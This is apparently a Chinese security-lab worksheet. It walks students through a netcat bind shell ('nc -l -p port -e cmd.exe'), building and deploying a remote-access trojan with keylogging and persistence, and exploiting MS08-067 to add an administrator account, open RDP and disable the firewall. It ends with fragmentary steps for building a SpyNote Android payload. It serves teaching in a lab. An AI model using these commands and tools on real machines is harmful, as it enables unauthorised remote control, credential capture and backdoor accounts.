任务一 利用NC控制电脑
NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。
实验过程需要两个同学相互配合完成:
步骤一:
在受害者的机器 (同学A)输入下面的命令: nc.exe -l -p port -e cmd.exe 进入监听模式
步骤二:
在攻击者的机器.(同学B)输入下面的命令:nc ip port //连接victim_IP,然后得到一个shell。
步骤三:
在shell中,利用net user 用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。
任务二 利用木马控制电脑
实验过程需要两个同学配合:
步骤一:攻击者的机器. (同学A)
步骤二:
点击菜单栏中的“生成”,在弹出的配置服务端中,配置回IP地址(攻击者IP)和端口号,并点击“生成服务端”按钮,生成木马服务端。
步骤三:
将生成的木马可执行程序拷贝到受害者的机器,并双击运行,可以查看到主机上线
步骤四:
在控制端中查看木马上线情况,并对以下功能每个进行测试和截图。
- 文件管理,尝试拷贝文件
获取击键记录
重启后继续监听对方的主机
会话管理,卸载对方的木马。
任务三 通过漏洞获取shell(合天平台中做) 所有过程截图写博客
windows ms08067 漏洞利用
在平台中获取shell之后,继续利用攻击机器使用
net user user pass /add
net localgroup administrators /add
命令向被攻击的机器中添加账户,并提升为管理员
然后用rdesktop 10.1.1.130 登陆对方的远程桌面
关闭xp系统主机的防火墙
查看攻击主机的ip地址和账户
点击Listen Port,在弹出的对话框中输入端口号,并点击Add按钮,最后点击OK,成功监听本地端口。
利用cmd shall建立attacker的账户
最后点击Build按钮,在选择框中选择和spynote同处在一个文件夹中Patch-release.apk。